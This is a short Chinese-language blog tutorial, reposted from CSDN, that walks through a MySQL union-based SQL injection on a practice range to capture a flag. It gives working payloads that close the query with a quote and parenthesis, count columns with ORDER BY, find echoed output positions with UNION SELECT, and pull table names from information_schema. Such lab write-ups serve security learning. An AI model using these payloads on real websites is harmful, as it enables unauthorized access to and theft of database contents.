MYSQL显错注入演示
作者:互联网
靶场题目:
注意闭合
用”)进行闭合 进行闭合后就不再是字符串,输入的数据可以被当成代码执行 id=() 闭合了前括号, 还有注释掉后面的后括号,用-- qwe 主要是为了保留横横后面的空格,因为可以自动去除空格后的内容,就去掉了后括号
步骤:
")order by 3 -- qwe
") union select 1,2,3 -- qwe
“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe
输出点:
") union select 1,2,3 – qwe
1,2,3是字段的占位符,代表有三个字段,回显是2,3 说明有两个输出点。三个字段能够输出数据的只有2个
eg:’)union select 4,5,6,7,8,9 – qwe 回显是5,说明就只有一个输出点
,下一条语句就可以写成and 1=2 union select 1,table_name from infoamtion_schema.table…
数字只是占位,但是必须写
然后就可以写“) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1— qwe
这样就找到了表名
接下来找字段名
最后一步找想要的数据
嘿嘿 找到flag
union :
直接写select 1,2,3 不符合语法规则
union select 1,2,3 中的union 是联合查询的意思,前面一条数据会优先返回,所以可以写一个 and 1=2 让前面的返回值为空,进而返回我们后面写的语句
但是也可以不用写 and 1=2 直接把id=1 改成一个不可能的数字 可以写成这样:eg :id=0.99999 之类的
标签:显错,演示,name,union,qwe,MYSQL,table,select,schema 来源: https://blog.csdn.net/oxygensss/article/details/110560747